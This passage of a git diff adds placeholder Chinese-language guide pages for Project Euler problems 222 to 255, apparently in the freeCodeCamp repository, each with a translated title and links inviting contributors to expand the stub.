+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-222-sphere-packing/index.md
@@ -0,0 +1,9 @@
+---
+title: Sphere Packing
+localeTitle: 球形包装
+---
+## 问题222：球体包装
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-222-sphere-packing/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-223-almost-right-angled-triangles-i/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-223-almost-right-angled-triangles-i/index.md
new file mode 100644
index 0000000000..b81457d49c
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-223-almost-right-angled-triangles-i/index.md
@@ -0,0 +1,9 @@
+---
+title: Almost right-angled triangles I
+localeTitle: 几乎是直角三角形我
+---
+## 问题223：几乎是直角三角形I.
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-223-almost-right-angled-triangles-i/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-224-almost-right-angled-triangles-ii/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-224-almost-right-angled-triangles-ii/index.md
new file mode 100644
index 0000000000..e7d7342bf7
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-224-almost-right-angled-triangles-ii/index.md
@@ -0,0 +1,9 @@
+---
+title: Almost right-angled triangles II
+localeTitle: 几乎是直角三角形II
+---
+## 问题224：几乎直角三角形II
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-224-almost-right-angled-triangles-ii/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-225-tribonacci-non-divisors/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-225-tribonacci-non-divisors/index.md
new file mode 100644
index 0000000000..894ee3db9f
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-225-tribonacci-non-divisors/index.md
@@ -0,0 +1,9 @@
+---
+title: Tribonacci non-divisors
+localeTitle: 非除数三角
+---
+## 问题225：Tribonacci非除数
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-225-tribonacci-non-divisors/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-226-a-scoop-of-blancmange/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-226-a-scoop-of-blancmange/index.md
new file mode 100644
index 0000000000..05a7eba563
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-226-a-scoop-of-blancmange/index.md
@@ -0,0 +1,9 @@
+---
+title: A Scoop of Blancmange
+localeTitle: Blancmange的一个独家新闻
+---
+## 问题226：Blancmange的一个独家新闻
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-226-a-scoop-of-blancmange/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-227-the-chase/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-227-the-chase/index.md
new file mode 100644
index 0000000000..59e44fc8ff
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-227-the-chase/index.md
@@ -0,0 +1,9 @@
+---
+title: The Chase
+localeTitle: 追逐
+---
+## 问题227：大通
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-227-the-chase/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-228-minkowski-sums/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-228-minkowski-sums/index.md
new file mode 100644
index 0000000000..594a75acc5
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-228-minkowski-sums/index.md
@@ -0,0 +1,9 @@
+---
+title: Minkowski Sums
+localeTitle: Minkowski Sums
+---
+## 问题228：Minkowski Sums
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-228-minkowski-sums/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-229-four-representations-using-squares/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-229-four-representations-using-squares/index.md
new file mode 100644
index 0000000000..5ad1011815
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-229-four-representations-using-squares/index.md
@@ -0,0 +1,9 @@
+---
+title: Four Representations using Squares
+localeTitle: 使用正方形的四个表示法
+---
+## 问题229：使用正方形的四个表示
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-229-four-representations-using-squares/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-23-non-abundant-sums/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-23-non-abundant-sums/index.md
new file mode 100644
index 0000000000..7fd7dfeb66
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-23-non-abundant-sums/index.md
@@ -0,0 +1,9 @@
+---
+title: Non-abundant sums
+localeTitle: 非丰厚的金额
+---
+## 问题23：非丰富的总和
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-23-non-abundant-sums/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-230-fibonacci-words/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-230-fibonacci-words/index.md
new file mode 100644
index 0000000000..177a52bfd3
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-230-fibonacci-words/index.md
@@ -0,0 +1,9 @@
+---
+title: Fibonacci Words
+localeTitle: 斐波纳契语
+---
+## 问题230：斐波纳契语
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-230-fibonacci-words/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-231-the-prime-factorisation-of-binomial-coefficients/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-231-the-prime-factorisation-of-binomial-coefficients/index.md
new file mode 100644
index 0000000000..afe000b7f6
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-231-the-prime-factorisation-of-binomial-coefficients/index.md
@@ -0,0 +1,9 @@
+---
+title: The prime factorisation of binomial coefficients
+localeTitle: 二项式系数的素因子化
+---
+## 问题231：二项式系数的素因子化
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-231-the-prime-factorisation-of-binomial-coefficients/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-232-the-race/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-232-the-race/index.md
new file mode 100644
index 0000000000..92288da11e
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-232-the-race/index.md
@@ -0,0 +1,9 @@
+---
+title: The Race
+localeTitle: 比赛
+---
+## 问题232：比赛
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-232-the-race/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-233-lattice-points-on-a-circle/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-233-lattice-points-on-a-circle/index.md
new file mode 100644
index 0000000000..162663c4f8
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-233-lattice-points-on-a-circle/index.md
@@ -0,0 +1,9 @@
+---
+title: Lattice points on a circle
+localeTitle: 格子指向一个圆圈
+---
+## 问题233：圆上的格点
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-233-lattice-points-on-a-circle/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-234-semidivisible-numbers/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-234-semidivisible-numbers/index.md
new file mode 100644
index 0000000000..a927a4ef67
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-234-semidivisible-numbers/index.md
@@ -0,0 +1,9 @@
+---
+title: Semidivisible numbers
+localeTitle: 半密数
+---
+## 问题234：半透明数字
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-234-semidivisible-numbers/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-235-an-arithmetic-geometric-sequence/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-235-an-arithmetic-geometric-sequence/index.md
new file mode 100644
index 0000000000..5d4ad8cf45
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-235-an-arithmetic-geometric-sequence/index.md
@@ -0,0 +1,9 @@
+---
+title: An Arithmetic Geometric sequence
+localeTitle: 算术几何序列
+---
+## 问题235：算术几何序列
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-235-an-arithmetic-geometric-sequence/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-236-luxury-hampers/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-236-luxury-hampers/index.md
new file mode 100644
index 0000000000..53be152dfd
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-236-luxury-hampers/index.md
@@ -0,0 +1,9 @@
+---
+title: Luxury Hampers
+localeTitle: 豪华礼篮
+---
+## 问题236：豪华礼篮
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-236-luxury-hampers/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-237-tours-on-a-4-x-n-playing-board/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-237-tours-on-a-4-x-n-playing-board/index.md
new file mode 100644
index 0000000000..5302a4f76b
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-237-tours-on-a-4-x-n-playing-board/index.md
@@ -0,0 +1,9 @@
+---
+title: Tours on a 4 x n playing board
+localeTitle: 在4 x n游戏板上游览
+---
+## 问题237：在4 xn游戏板上游览
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-237-tours-on-a-4-x-n-playing-board/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-238-infinite-string-tour/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-238-infinite-string-tour/index.md
new file mode 100644
index 0000000000..e13b099769
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-238-infinite-string-tour/index.md
@@ -0,0 +1,9 @@
+---
+title: Infinite string tour
+localeTitle: 无限串巡演
+---
+## 问题238：无限的字符串游览
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-238-infinite-string-tour/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-239-twenty-two-foolish-primes/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-239-twenty-two-foolish-primes/index.md
new file mode 100644
index 0000000000..e9fa79c72b
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-239-twenty-two-foolish-primes/index.md
@@ -0,0 +1,9 @@
+---
+title: Twenty-two Foolish Primes
+localeTitle: 二十二个愚蠢的素数
+---
+## 问题239：二十二个愚蠢的素数
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-239-twenty-two-foolish-primes/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-24-lexicographic-permutations/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-24-lexicographic-permutations/index.md
new file mode 100644
index 0000000000..2c87c6a9b5
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-24-lexicographic-permutations/index.md
@@ -0,0 +1,9 @@
+---
+title: Lexicographic permutations
+localeTitle: 字典排列
+---
+## 问题24：字典排列
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-24-lexicographic-permutations/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-240-top-dice/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-240-top-dice/index.md
new file mode 100644
index 0000000000..7718c9bcdd
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-240-top-dice/index.md
@@ -0,0 +1,9 @@
+---
+title: Top Dice
+localeTitle: 顶级骰子
+---
+## 问题240：顶部骰子
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-240-top-dice/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-241-perfection-quotients/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-241-perfection-quotients/index.md
new file mode 100644
index 0000000000..00f822a2e6
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-241-perfection-quotients/index.md
@@ -0,0 +1,9 @@
+---
+title: Perfection Quotients
+localeTitle: 完美商数
+---
+## 问题241：完美商数
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-241-perfection-quotients/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-242-odd-triplets/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-242-odd-triplets/index.md
new file mode 100644
index 0000000000..1a64ef1c0e
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-242-odd-triplets/index.md
@@ -0,0 +1,9 @@
+---
+title: Odd Triplets
+localeTitle: 奇怪的三胞胎
+---
+## 问题242：奇数三胞胎
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-242-odd-triplets/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-243-resilience/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-243-resilience/index.md
new file mode 100644
index 0000000000..21f372cd5d
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-243-resilience/index.md
@@ -0,0 +1,9 @@
+---
+title: Resilience
+localeTitle: 弹性
+---
+## 问题243：恢复力
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-243-resilience/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-244-sliders/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-244-sliders/index.md
new file mode 100644
index 0000000000..d7889e7fad
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-244-sliders/index.md
@@ -0,0 +1,9 @@
+---
+title: Sliders
+localeTitle: 滑块
+---
+## 问题244：滑块
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-244-sliders/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-245-coresilience/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-245-coresilience/index.md
new file mode 100644
index 0000000000..4f2c9bd296
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-245-coresilience/index.md
@@ -0,0 +1,9 @@
+---
+title: Coresilience
+localeTitle: Coresilience
+---
+## 问题245：Coresilience
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-245-coresilience/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-246-tangents-to-an-ellipse/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-246-tangents-to-an-ellipse/index.md
new file mode 100644
index 0000000000..ef61465d39
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-246-tangents-to-an-ellipse/index.md
@@ -0,0 +1,9 @@
+---
+title: Tangents to an ellipse
+localeTitle: 切线到椭圆
+---
+## 问题246：切线到椭圆
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-246-tangents-to-an-ellipse/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-247-squares-under-a-hyperbola/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-247-squares-under-a-hyperbola/index.md
new file mode 100644
index 0000000000..805a531a50
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-247-squares-under-a-hyperbola/index.md
@@ -0,0 +1,9 @@
+---
+title: Squares under a hyperbola
+localeTitle: 双曲线下的正方形
+---
+## 问题247：双曲线下的正方形
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-247-squares-under-a-hyperbola/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-248-numbers-for-which-eulers-totient-function-equals-13/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-248-numbers-for-which-eulers-totient-function-equals-13/index.md
new file mode 100644
index 0000000000..53c8b19d97
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-248-numbers-for-which-eulers-totient-function-equals-13/index.md
@@ -0,0 +1,9 @@
+---
+title: Numbers for which Euler’s totient function equals 13!
+localeTitle: 欧拉的函数等于13的数字！
+---
+## 问题248：Euler的totient函数等于13的数字！
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-248-numbers-for-which-eulers-totient-function-equals-13/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-249-prime-subset-sums/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-249-prime-subset-sums/index.md
new file mode 100644
index 0000000000..c636cc160b
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-249-prime-subset-sums/index.md
@@ -0,0 +1,9 @@
+---
+title: Prime Subset Sums
+localeTitle: Prime子集总和
+---
+## 问题249：Prime子集总和
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-249-prime-subset-sums/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-25-1000-digit-fibonacci-number/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-25-1000-digit-fibonacci-number/index.md
new file mode 100644
index 0000000000..0f13cfe191
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-25-1000-digit-fibonacci-number/index.md
@@ -0,0 +1,9 @@
+---
+title: 1000-digit Fibonacci number
+localeTitle: 1000位斐波纳契数
+---
+## 问题25：1000位斐波纳契数
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-25-1000-digit-fibonacci-number/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-250-250250/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-250-250250/index.md
new file mode 100644
index 0000000000..9c8075cbf6
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-250-250250/index.md
@@ -0,0 +1,9 @@
+---
+title: '250250'
+localeTitle: '250250'
+---
+## 问题250：250250
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-250-250250/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-251-cardano-triplets/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-251-cardano-triplets/index.md
new file mode 100644
index 0000000000..f7ca0f5352
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-251-cardano-triplets/index.md
@@ -0,0 +1,9 @@
+---
+title: Cardano Triplets
+localeTitle: 卡尔达诺三胞胎
+---
+## 问题251：卡尔达诺三胞胎
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-251-cardano-triplets/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-252-convex-holes/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-252-convex-holes/index.md
new file mode 100644
index 0000000000..f523431100
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-252-convex-holes/index.md
@@ -0,0 +1,9 @@
+---
+title: Convex Holes
+localeTitle: 凸孔
+---
+## 问题252：凸孔
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-252-convex-holes/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-253-tidying-up/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-253-tidying-up/index.md
new file mode 100644
index 0000000000..66c18fab6d
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-253-tidying-up/index.md
@@ -0,0 +1,9 @@
+---
+title: Tidying up
+localeTitle: 整理
+---
+## 问题253：整理
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-253-tidying-up/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-254-sums-of-digit-factorials/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-254-sums-of-digit-factorials/index.md
new file mode 100644
index 0000000000..03d0758993
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-254-sums-of-digit-factorials/index.md
@@ -0,0 +1,9 @@
+---
+title: Sums of Digit Factorials
+localeTitle: 数字因子的总和
+---
+## 问题254：数字因子的总和
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-254-sums-of-digit-factorials/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-255-rounded-square-roots/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-255-rounded-square-roots/index.md
new file mode 100644
index 0000000000..f6cf847a43
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-255-rounded-square-roots/index.md
@@ -0,0 +1,9 @@
+---
+title: Rounded Square Roots
+localeTitle: 圆角平方根
+---
+## 问题255：圆角平方根
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-255-rounded-square-roots/index.md) 。
+
